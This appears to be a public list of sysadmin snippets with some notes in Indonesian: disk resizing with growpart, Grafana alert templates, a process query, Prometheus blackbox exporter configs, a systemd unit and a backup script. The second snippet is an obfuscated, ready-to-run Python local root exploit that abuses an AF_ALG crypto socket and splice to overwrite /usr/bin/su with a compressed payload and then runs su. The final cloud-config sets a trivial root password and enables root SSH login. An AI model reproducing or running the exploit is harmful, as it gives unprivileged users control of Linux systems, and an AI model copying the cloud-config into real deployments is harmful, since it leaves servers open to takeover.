ridwan-muhamad

1. Check semua Physical disk
# fdisk -l

jika terdapat error "GPT PMBB Mismatch" & terbaca /dev/vda4 hanya 8gb,
arinya ada size 40gb yang belum terbaca / dialokasi.

Gunakan command berikut untuk menambahkan size pada /dev/vda4
# growpart /dev/vda 4

kemudian check kembali size partisi /dev/vda4

ridwan-muhamad

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

ridwan-muhamad

{{ define "Cluster_Down_Detection" }}
  {{ if gt (len .Alerts.Firing) 0 }}
  Alerts : {{ len .Alerts.Firing }}  🔔
  {{ range .Alerts.Firing }} {{ if gt (len .Annotations) 0 }}
  Alert Name : 
  {{ .Annotations.summary }} ⚠️  
  
  Description: 
  🔵 {{ .Annotations.description }}
  🟢 Available   : {{ .Values.A }}

ridwan-muhamad

{{ define "Notificationg" }}
  {{ if gt (len .Alerts.Firing) 0 }}
  Alerts : {{ len .Alerts.Firing }}  🔔
  {{ range .Alerts.Firing }} {{ if gt (len .Annotations) 0 }}
 
  ⚠️ {{ .Annotations.summary }}  
   
  {{ .Annotations.description }} 
  
  Timestamp:

ridwan-muhamad

## Menemukan instances pengguna CPU/Memory tertinggi ( --sort=-%cpu / --sort=-%mem)

[tripleo-admin@Openstack-Compute-2 ~]$ ps aux --sort=-%cpu | awk 'NR==1 {print $1, $2, $3, $4, "UUID"} / -uuid / {for(i=1;i<=NF;i++) if($i=="-uuid") {print $1, $2, $3, $4, $(i+1)}}' | column -t
USER   PID      %CPU  %MEM  UUID
qemu   691730   2646  16.9  457990e4-8d26-4f18-9940-72f652b99572
qemu   75529    1165  1.1   e6175dac-d40f-4375-855c-b48632a28d68
qemu   213227   775.4 4.1   148f0a0b-b13d-4718-aff2-1bc2b11ec505
admin  1642873  0.0   0.0   /

ridwan-muhamad

scrape_configs:
  - job_name: 'blackbox'                                       ## Backbox-Exporter Config
    metrics_path: /probe
    params:
      module: [http_2xx]                                       # Module defined in blackbox.yml
    static_configs:
      - targets:
        - https://i-3.co.id/                                   # Website 01
        - https://fake-json-api.mock.beeceptor.com/users       # Function 01
        - https://fake-json-api.mock.beeceptor.com/companies   # Function 02

ridwan-muhamad

modules:
  http_2xx:
    prober: http
    http:
      preferred_ip_protocol: "ip4"
  http_post_2xx:
    prober: http
    http:
      method: POST
  tcp_connect:

ridwan-muhamad

[Unit]
Description=Blackbox Exporter
Documentation= Blackbox
Wants=network-online.target
After=network-online.target

[Service]
User=root
Group=root
Type=simple

ridwan-muhamad

#!/bin/bash                                                                                                           
DAY="$(date +%Y_%m_%d)"                                                       
BACKUP="/home/$USER/DIRECTORY/$DAY-backup-ServiceAA.tar.gz"                             
tar -csvpzf $BACKUP /home/$USER/ServiceAA

ridwan-muhamad

#cloud-config
chpasswd:
  list: |
    root:ridwan
  expire: false

ssh_pwauth: true

runcmd:
  - sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config